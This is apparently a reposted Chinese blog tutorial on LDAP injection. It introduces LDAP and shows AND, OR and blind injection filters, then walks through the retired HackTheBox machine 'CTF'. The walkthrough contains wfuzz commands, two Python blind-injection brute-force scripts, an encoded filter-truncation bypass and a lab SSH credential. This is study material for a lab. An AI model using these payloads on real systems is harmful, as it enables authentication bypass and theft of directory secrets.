最近在HackTheBox上氪了金(肉疼?),做了一些已經(jīng)retired的高質(zhì)量邏輯,不得不說質(zhì)量還是很高的。其中有一個(gè)靶機(jī)叫做CTF,難度是最高級(jí)別的insane,主要是它考察的知識(shí)點(diǎn)比較冷門——LDAP注入。可能很多小伙伴都沒怎么聽說過這個(gè)漏洞,我想主要原因還是LDAP這個(gè)協(xié)議用的比較少,而且國內(nèi)CTF比賽中我也基本上沒有看到有考察這個(gè)點(diǎn)的。在網(wǎng)上搜了一下,發(fā)現(xiàn)最近一次出現(xiàn)這個(gè)考點(diǎn)的是在CSAW CTF Qualification Round 2018比賽中,題目直接告訴你了是考LDAP注入。剛好上個(gè)星期我在星盟內(nèi)部分享中,也提到了這個(gè)知識(shí)點(diǎn),那么本著聊勝于無,開闊知識(shí)面的本意下(其實(shí)是偷懶?),寫下這篇淺談LDAP注入攻擊的文章。
0x01 LDAP介紹
什么是LDAP
在做靶機(jī)之前,我們首先來了解一下什么是LDAP?
以下內(nèi)容部分摘自2018 blackhat LDAP Injection & Blind LDAP Injection
LDAP(Lightweight Directory Access Protocol):輕量級(jí)目錄訪問協(xié)議,是一種在線目錄訪問協(xié)議,主要用于目錄中資源的搜索和查詢,是X.500的一種簡便的實(shí)現(xiàn)。
那么轉(zhuǎn)換成人話就是說,LDAP是用于訪問目錄服務(wù)(特別是基于X.500的目錄服務(wù))的輕量級(jí)客戶端服務(wù)器協(xié)議,它通過TCP/IP傳輸服務(wù)運(yùn)行。關(guān)鍵的地方就在于,數(shù)據(jù)是存儲(chǔ)在目錄中,而不是數(shù)據(jù)庫中。的確,目錄和數(shù)據(jù)庫有很多共同之處,都能存儲(chǔ)數(shù)據(jù)、并能在一定程度進(jìn)行搜索和查詢。這里就有一個(gè)問題了,目錄和數(shù)據(jù)庫的區(qū)別在哪?
最重要的區(qū)別就是目錄適合于存放靜態(tài)數(shù)據(jù),它存儲(chǔ)的數(shù)據(jù)無論在類型和種類較之?dāng)?shù)據(jù)庫中的數(shù)據(jù)都要更為繁多,包括音頻、視頻、可執(zhí)行文件、文本等文件,另外目錄中還存在目錄的遞歸。既然是存放不同類型的靜態(tài)數(shù)據(jù),那么目錄服務(wù)在進(jìn)行優(yōu)化后更適宜于讀訪問,而非寫、修改等操作。
說了這么半天,感覺還是貼一張圖來的更快。

上面這張圖展示了LDAP的結(jié)構(gòu)。我們都知道MySQL數(shù)據(jù)庫中的數(shù)據(jù)都是按記錄一條條記錄存在表中,而LDAP是樹結(jié)構(gòu)的,數(shù)據(jù)存儲(chǔ)在葉子節(jié)點(diǎn)上。比如要描述上圖baby這個(gè)節(jié)點(diǎn):
cn=baby, ou=marketing, ou=people, dc=mydomain, dc=org
LDAP的基本概念
在大概知道LDAP是做什么、長什么樣之后,我們?cè)賮砹私庖幌翷DAP的一些基本概念,主要是三個(gè)專有名詞:條目(Entry)、屬性(Attribute)、對(duì)象類(ObjectClass)。
條目
條目,也叫記錄項(xiàng),是LDAP中最基本的顆粒,就像字典中的詞條或者是數(shù)據(jù)中的記錄。通常對(duì)LDAP的添加、刪除、修改、搜索都是以條目為基本單位。
屬性
每個(gè)條目都可以有很多屬性(Attribute),比如常見的人都有姓名、地址、電話等屬性。每個(gè)屬性都有名稱及對(duì)應(yīng)的值,屬性值可以有單個(gè)、多個(gè),比如你有多個(gè)郵箱。
此外,LDAP為人員組織機(jī)構(gòu)中常見的對(duì)象都設(shè)計(jì)了屬性(比如commonName,surname)。
對(duì)象類
對(duì)象類是屬性的集合,LDAP預(yù)想了很多人員組織機(jī)構(gòu)中常見的對(duì)象,并將其封裝成對(duì)象類。比如人員(person)含有姓(sn)、名(cn)、電話(telephoneNumber)、密碼(userPassword)等屬性,單位職工(organizationalPerson)是人員(person)的繼承類,除了上述屬性之外還含有職務(wù)(title)、郵政編碼(postalCode)、通信地址(postalAddress)等屬性。
通過對(duì)象類可以方便的定義條目類型。每個(gè)條目可以直接繼承多個(gè)對(duì)象類,這樣就繼承了各種屬性。如果2個(gè)對(duì)象類中有相同的屬性,則條目繼承后只會(huì)保留1個(gè)屬性。對(duì)象類同時(shí)也規(guī)定了哪些屬性是基本信息,即必要屬性和可選屬性。
是不是聽起來和面向?qū)ο笳Z言有點(diǎn)相似,跟JAVA中的Object類一樣,LDAP的根對(duì)象類就叫做top。
上述就是筆者對(duì)LDAP數(shù)據(jù)結(jié)構(gòu)的簡單介紹了,LDAP既然主要用于搜索查詢,那它是怎么查詢的呢?
LDAP的基本語法
LDAP的語法非常簡單,一看就會(huì),再看就懂。
以下部分內(nèi)容摘自https://blog.csdn.net/leader_ww/article/details/4028672
=(等于)
例如,如果希望查找屬性giveNname值為John的所有對(duì)象,可以使用(givenName=John)。這會(huì)返回對(duì)應(yīng)條件的所有對(duì)象。
&(邏輯與)
例如,如果希望查找居住在 Dallas 并且givenName為John的所有對(duì)象,可以使用(&(givenName=John)(l=Dallas))。
請(qǐng)注意,每個(gè)參數(shù)都被屬于其自己的圓括號(hào)括起來。整個(gè) LDAP 語句必須包括在一對(duì)主圓括號(hào)中。操作符 & 表明,只有每個(gè)參數(shù)都為真,才會(huì)將此篩選條件應(yīng)用到要查詢的對(duì)象。
|(邏輯或)
例如,如果希望查找屬性givenName值為Jhon或者Jack的所有對(duì)象,可以使用(|(givenName=Jhon)(givenName=Jack))。
!(邏輯非)
例如,如果需要查找givenName為John的對(duì)象以外的所有對(duì)象。則應(yīng)使用如下語句:(!givenName=John)
*(通配符)
可使用通配符表示值可以等于任何值。使用它的情況可能是:您希望查找具有職務(wù)頭銜的所有對(duì)象。為此,可以使用(title=*),這會(huì)返回title屬性包含內(nèi)容的所有對(duì)象。
另一個(gè)例子是:您知道某個(gè)對(duì)象的givenName屬性的開頭兩個(gè)字母是“Jo”。那么,可以使用(givenName=Jo*)進(jìn)行查找,這會(huì)返回givenName以Jo開頭的所有對(duì)象。
Over~~LDAP的語法是不是很簡單。
說了這么多,可能很多小伙伴還是心存疑問,已經(jīng)部署成功的LDAP到底是長什么樣子?
我們可以通過google Hacking intitle:”phpLDAPadmin” inurl:cmd.php來檢索一下,真實(shí)的運(yùn)行的LDAP服務(wù)的網(wǎng)站,這個(gè)地方我就貼一張圖示范一下,包含了上面提到的所有概念。

0x02 LDAP注入攻擊面
其實(shí)它的攻擊手法和SQL注入的原理非常相似,在有漏洞的環(huán)境中,這些查詢參數(shù)沒有得到合適的過濾,因而攻擊者可以注入任意惡意代碼。由于比較簡單,我這里就走馬觀花的方式來過一遍LDAP注入的不同類型。
以下部分內(nèi)容摘自https://wooyun.js.org/drops/LDAP%E6%B3%A8%E5%85%A5%E4%B8%8E%E9%98%B2%E5%BE%A1%E5%89%96%E6%9E%90.html
AND注入
這種情況,應(yīng)用會(huì)構(gòu)造由”&”操作符和用戶引入的的參數(shù)組成的正常查詢?cè)贚DAP目錄中搜索,例如:
(&(parameter1=value1)(parameter2=value2))
這里Value1和value2是在LDAP目錄中搜索的值,攻擊者可以注入代碼,維持正確的過濾器結(jié)構(gòu)但能使用查詢實(shí)現(xiàn)他自己的目標(biāo)。
比如說,為了驗(yàn)證客戶端提供的user/password對(duì),構(gòu)造如下LDAP過濾器并發(fā)送給LDAP服務(wù)器:
(&(USER=Uname)(PASSWORD=Pwd))
如果攻擊者輸入一個(gè)有效的用戶名,如r00tgrok,然后在這個(gè)名字后面注入恰當(dāng)?shù)恼Z句,password檢查就會(huì)被繞過。
使得Uname=slisberger)(&)),引入任何字符串作為Pwd值,構(gòu)造如下查詢并發(fā)送給服務(wù)器:
(&(USER= slisberger)(&)(PASSWORD=Pwd))
OR注入
這種情況,應(yīng)用會(huì)構(gòu)造由”|”操作符和用戶引入的的參數(shù)組成的正常查詢?cè)贚DAP目錄中搜索,例如:
(|(parameter1=value1)(parameter2=value2))
這里Value1和value2是在LDAP目錄中搜索的值,攻擊者可以注入代碼,維持正確的過濾器結(jié)構(gòu)但能使用查詢實(shí)現(xiàn)他自己的目標(biāo)。
類似的,加入現(xiàn)在用于展示可用資源的查詢?yōu)椋?/p>
(|(type=Rsc1)(type=Rsc2))
Rsc1和Rsc2表示系統(tǒng)中不同種類的資源。如果攻擊者輸入Rsc=printer)(uid=*),則下面的查詢被發(fā)送給服務(wù)器:
(|(type=printer)(uid=*))(type=scanner)
這樣也會(huì)造成注入的產(chǎn)生。
盲注
SQL注入中有盲注,LDAP中也存在這種問題,包括下面介紹到的靶機(jī)用到的也是盲注的手法。
假設(shè)攻擊者可以從服務(wù)器響應(yīng)中推測出什么,盡管應(yīng)用沒有報(bào)出錯(cuò)信息,LDAP過濾器中注入的代碼卻生成了有效的響應(yīng)或錯(cuò)誤。攻擊者可以利用這一行為向服務(wù)器問正確的或錯(cuò)誤的問題。
還是用一個(gè)例子來說明。
假設(shè)一個(gè)Web應(yīng)用想從一個(gè)LDAP目錄列出所有可用的Epson打印機(jī),錯(cuò)誤信息不會(huì)返回,應(yīng)用發(fā)送如下的過濾器:
(&(objectClass=printer)(type=Epson*))
使用這個(gè)查詢,如果有可用的Epson打印機(jī),其圖標(biāo)就會(huì)顯示給客戶端,否則沒有圖標(biāo)出現(xiàn)。如果攻擊者進(jìn)行LDAP盲注入攻擊
*)(objectClass=*))(&(objectClass=void
Web應(yīng)用會(huì)構(gòu)造如下查詢:
(&(objectClass=*)(objectClass=*))(&(objectClass=void)(type=Epson*))
僅第一個(gè)LDAP過濾器會(huì)被處理:
(&(objectClass=*)(objectClass=*))
那么這樣就和我們查詢的初衷相違背了。
接下來就是這篇文章的重頭戲了,我們主要從這個(gè)邏機(jī)中學(xué)到兩點(diǎn):
• 怎么發(fā)現(xiàn)LDAP注入漏洞
• 如何利用LDAP注入漏洞
0x03 從HTB靶機(jī)中學(xué)習(xí)LDAP注入
Initial Enunciation
拿到靶機(jī)先用Nmap掃一下端口
# Nmap 7.80 scan initiated Fri Jul 10 10:50:40 2020 as: nmap -sC -sV -oN ctf 10.10.10.122
Nmap scan report for ctf.htb (10.10.10.122)
Host is up (1.8s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((centos) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 10 11:03:44 2020 -- 1 IP address (1 host up) scanned in 783.74 seconds
查看80端口

大概的意思就是讓我們嘗試去登錄這個(gè)系統(tǒng),但是不能用SQLmap或者Dirbuster去暴力猜解用戶名和密碼。
再去登錄界面看一下:

提示我們是一個(gè)OTP,即One Time Password,一般而言是1分鐘更新一次。
查看源碼,發(fā)現(xiàn)有一個(gè)Hint

如果比較熟悉LDAP的話,這里的兩個(gè)名詞schema和existing attribute已經(jīng)提示了是關(guān)于LDAP注入。
作者用一個(gè)已知的屬性去存儲(chǔ)了81位的token string,Google搜一下token string (81 digits)。
https://www.systutorials.com/docs/linux/man/1-stoken/

可以看到一個(gè)關(guān)鍵的地方,Pure numeric (81-digit) "ctf" (compressed token format) strings,和靶機(jī)的題目相契合,現(xiàn)在就有一點(diǎn)思路了,應(yīng)該要去找到這個(gè)81位純數(shù)字的token,然后用stoken工具去生成OTP。那么主要是找到token,唯一可以利用的就是這個(gè)登錄框了。
先隨便用某個(gè)用戶名和密碼登錄admin:1234

返回User admin not found,再用SQL注入的萬能密碼試一試

直接是沒有任何顯示,應(yīng)該是對(duì)一些特殊字符有黑名單過濾。Fuzz一下過濾了一些什么字符
wfuzz -c --hw 233 -d 'inputUsername=FUZZ&inputOTP=1234' -w special-chars.txt 10.10.10.122/login.php

—hw 233 代表過濾掉形如User xxx not found的返回信息。
我們發(fā)現(xiàn)+和&返回的是232 Words,但是在頁面測試一下

發(fā)現(xiàn)返回的還是User + not found或者User & not found,這樣的話應(yīng)該是233 Words,而不是Wfuzz返回的232 Words。
我們嘗試把這些特殊字符二次URL編碼,看Web應(yīng)用是否還能解析,用seclists中的dobleurihex.txt作為字典
wfuzz -c --hw 233 -d 'inputUsername=FUZZ&inputOTP=1234' -w doble-uri-hex.txt 10.10.10.122/login.php

最后Fuzz出來的被過濾的字符就是
%2500 ---> %00
%2528 ---> (
%2529 ---> )
%252a ---> *
%255c --->
這些被過濾的字符就是LDAP注入需要過濾的所有字符,再結(jié)合login.php頁面源代碼中的hint,可以確定是LDAP注入。
Getting User Access
先來看LDAP注入的最基本形式
(&
(password=1234)
(uid=ca01h%00)
)
具體到這個(gè)靶機(jī)的話,我們需要猜解括號(hào)的個(gè)數(shù)。運(yùn)用類似盲注的思想,如果注入成功,那么就會(huì)返回User ca01h not found。
假設(shè)只有一個(gè)括號(hào):

假設(shè)有兩個(gè)括號(hào):

假設(shè)有三個(gè)括號(hào):
當(dāng)嘗試到三個(gè)括號(hào)用于閉合時(shí),成功返回了User ca01h%29%29%29%00 not found,那么這個(gè)登錄框的LDAP查詢的基本形式就是
(&
(&
(password=1234)
(uid=ca01h)))%00
)
(&|
(other comparing)
)
)
接著,我們?cè)倩仡^去看一下Fuzz出來的被過濾的字符,其中%25%2a返回的消息長度為231 Words

發(fā)現(xiàn)回響的消息是Cannot login,說明可以用*通配符來盲注用戶名,腳本如下:
#!/usr/bin/env Python3
### username_burp.py
import sys
import time
from string import ascii_lowercase
from urllib.parse import quote_plus
import requests
URL = 'http://10.10.10.122/login.php'
username, done = '', False
print()
while not done:
for c in ascii_lowercase:
payload = username + c + quote_plus('*')
data = {
'inputUsername': payload,
'inputOTP': '1234'
}
resp = requests.post(URL, data=data)
if 'Cannot login' in resp.text:
username += c
break
sys.stdout.write(f'r{username}{c}')
time.sleep(0.2)
else:
done = True
print(f'[+] Username: {username} n')

用戶名為ldapuser
知道了用戶名之后,我們就要去獲取生成OTP的81位token,通過頁面源代碼的提示,這個(gè)token存儲(chǔ)在某一個(gè)LDAP默認(rèn)已經(jīng)存在的屬性當(dāng)中。而默認(rèn)的屬性可以在PayloadsAllTheThings中找到:
c
cn
co
commonName
dc
facsimileTelephoneNumber
givenName
gn
homePhone
id
jpegPhoto
l
mobile
name
o
objectClass
ou
owner
pager
password
sn
st
surname
uid
username
userPassword
如果不想寫腳本的話用wfuzz來Fuzz靶機(jī)的LDAP中存在的屬性可能會(huì)更快一些,但還是要先找到注入的形式:
(&
(&
(password=1234)
(uid=ldapuser)
(FUZZ=*)
)
(&|
(other comparing)
)
)
此外還要把注入的字符ldapuser)(FUZZ=*進(jìn)行二次URL編碼,編碼之后的結(jié)果ldapuser%2529%2528FUZZ%253d%252a。
wfuzz -c --hw 233 -d 'inputUsername=ldapuser%2529%2528FUZZ%253d%252a&inputOTP=1234' -w LDAP_attributes.txt http://10.10.10.122/login.php

我們Fuzz出來了這么些屬性是存在于靶機(jī)的LDAP服務(wù)中的,現(xiàn)在的工作就是一個(gè)一個(gè)的屬性來拆解,屬于一些重復(fù)性的工作,就不在這里過多贅述了,最后可以找到token是存儲(chǔ)于pager屬性中。接著寫腳本用來burp81位token
#!/usr/bin/python3
# pager_burp.py
import requests
import sys
from time import sleep
from string import digits
token = ""
URL = "http://10.10.10.122/login.php"
attribute = "pager"
loop = 1
while loop > 0:
for digit in digits:
token = token
# ldapuser)(pager=<token>)*
payload = f"ldapuser%29%28{attribute}%3d{token}{digit}%2a"
data = {"inputUsername": payload, "inputOTP": "1234"}
r = requests.post(URL, data=data)
sys.stdout.write(f"rToken: {token}{digit}")
sleep(0.5)
if b"Cannot login" in r.content:
token += digit
break
elif digit == "9":
loop = 0
break
print(f'[+] Token: {token} n')

這里值得注意的是需要?jiǎng)h掉最后的一個(gè)9,所以最后的token就是:
285449490011357156531651545652335570713167411445727140604172141456711102716717000
接著用stoken工具導(dǎo)入token

生成OTP

成功登錄后,跳轉(zhuǎn)到page.php頁面,可以執(zhí)行命令

Damn it…..提示我們ldapuser權(quán)限不夠不能執(zhí)行命令,這里有兩種辦法:
• 對(duì)
group
屬性進(jìn)行注入,即把后面group屬性的filter截?cái)?/p>
(&
(&
(pager=<token>)
(uid=ldapuser)))%00
)
(|
(group=root)
(group=adm)
)
)
• 使用*通配符作為用戶名登錄
這里演示一下第一種方案,payload直接放到burp中
ldapuser%2529%2529%2529%2500

再去執(zhí)行l(wèi)s命令

讀取page.php文件:

SSH登錄:fdapuser:e398e27d5c4ad45086fe431120932a01

原文地址:https://www.anquanke.com/post/id/212186